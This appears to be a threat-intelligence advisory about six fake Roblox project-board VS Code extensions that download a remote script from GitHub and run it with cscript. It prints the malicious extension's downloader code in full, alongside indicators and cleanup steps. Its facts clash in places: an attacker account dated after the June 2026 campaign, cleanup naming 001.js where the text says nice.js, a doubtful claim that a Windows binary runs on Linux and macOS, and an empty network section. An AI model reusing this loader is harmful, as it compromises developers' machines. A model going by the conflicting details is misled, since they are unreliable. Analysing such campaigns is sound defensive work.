The heyheyhey campaign: 6 fake Roblox VS Code extensions that fetch and run a remote script from GitHub

A Kanban board for Roblox developers sounds harmless enough. Six of them hit the Microsoft VS Code Marketplace over three days in June 2026, all from different publishers, all with names like RoFlow, RoPilot, and ManageBlox. The boards work — they render a webview, they show columns, they look like a project tool. That is the cover.

On activation, every one of the six fetches the same file from a GitHub raw URL, writes it to the OS temporary directory, and runs it through the Windows Script Host. The repository that served the file is gone now — deleted or made private — but the extensions still phone home on every IDE start, waiting for the payload to come back.

TL;DR

• 6 extensions copy the names of Roblox tools and publish from six throwaway marketplace accounts over June 3–5, 2026.
• All six fetch the same GitHub raw URL and run the response with cscript via child_process.exec.
• A bundled cscript.exe runs on non-Windows hosts too, so the payload is not limited to Windows.
• The jjengu/heyheyhey repository is gone — but the six extensions still try to fetch from it on every IDE start.

What the extensions do

On activation, the extension runs a three-step downloader. We extracted the actual extension.js from the VSIX artifact:

const scriptUrl = 'https://raw.githubusercontent.com/jjengu/heyheyhey/refs/heads/main/001.js';
const scriptPath = path.join(os.tmpdir(), 'nice.js');

https.get(scriptUrl, (res) => {
  const file = require('fs').createWriteStream(scriptPath);
  res.pipe(file);
  file.on('finish', () => {
    file.close();
    // ...
    const cscriptPath = process.platform === 'win32'
      ? 'cscript'
      : path.join(os.tmpdir(), 'cscript.exe');
    const cmd = `"${cscriptPath}" //nologo //e:jscript "${scriptPath}"`;
    cp.exec(cmd, () => {});
  });
});

The activation event is *, so the downloader runs on every VS Code: start. The fetched script is arbitrary JavaScript that runs with the full privileges of the Windows Script Host. The threat actor can change the contents of 001.js at any time without re-publishing the extensions.

The payload

At the time of analysis the jjengu/heyheyhey repository returned 404 on both the raw URL and the GitHub API. The GitHub user account jjengu (ID 317282008, created August 15, 2026) is still live but has zero public repositories and zero events. The repository was either deleted or made private after the campaign started.

The VSIX source reveals two details the scan summary did not capture. First, the downloaded script writes to nice.js in the OS temporary directory — not 001.js as the URL filename suggests. Second, the extension bundles a cscript.exe binary for non-Windows hosts: on Linux and macOS, it runs cscript.exe from the temp directory with //nologo //e:jscript flags, so the Windows Script Host payload runs even on hosts that do not have cscript installed.

The extensions still run the downloader on every IDE start. If the threat actor restores the repository — even under the same name — every installed extension picks up the new payload on the next launch. The six extensions are live delivery vehicles that wait for a payload to reappear.

Why a GitHub raw URL is a good C2 channel

A GitHub raw URL is a free, HTTPS-delivered command-and-control channel. It does not look like malware infrastructure to a network policy that watches only IPs and known-bad domains. The threat actor can push a new version of 001.js at any time, and every installed extension fetches the new version on the next IDE start. Taking the repo down stops the campaign only until the threat actor puts it back.

The 6 extensions

Five of the six use version 4.7.0. The sixth uses 4.6.9. The publisher names all fit the Roblox lure — RoFlow, RoTasker, RoPlanner, RoPilot, RoControl, ManageBlox. None of the accounts has any other published extension or any web presence. The names are the lure, not the identity.

What to do

If you installed any of the six extensions above, do this:

1. Uninstall the extension from VS Code:.
2. Open the OS temporary directory and delete 001.js if it is there.
3. Run a full malware scan on the machine.

If you publish extensions on the VS Code: Marketplace, do this:

• Do not fetch a remote script from a GitHub raw URL and run it.
• Do not use cscript or wscript to run a downloaded file.
• Do not write a payload to the OS temporary directory and run it on activation.

Indicators of Compromise

Malicious extension identifiers

• RoFlow.roflow-4.7.0
• RoTasker.rotasker-4.7.0
• RoPlanner.roplanner-4.7.0
• RoPilot.ropilot-4.7.0
• RoControl.rocontrol-4.7.0
• ManageBlox.manageblox-4.6.9

Network

Behavioral

• A https.get call to a raw.githubusercontent[.]com URL on activation.
• A write of the response body to the OS temporary directory.
• A cscript call that runs the downloaded file (bundled cscript.exe on non-Windows).
• Activation on *, so the payload runs on every IDE start.